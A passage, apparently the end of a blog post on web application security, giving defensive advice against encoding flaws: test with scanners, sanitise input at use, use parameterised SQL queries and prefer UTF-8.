So how do you defend your self?  Well test your code.   Some web application scanners will test for encoding flaws exactly like this.  In fact I researched this topic while building a vulnerable scanner.   Another point,  always sanitize input at the time of use, this avoids the problem of decoding after escaping.  You cannot know how it will be used,  so encoding/decoding/escaping everything will always be flawed.   Used parametrized queries for building sql statements.  UTF-8 is a great default in most cases (but not always),  and *most* of these problems don't arise with this muli-byte encoding scheme.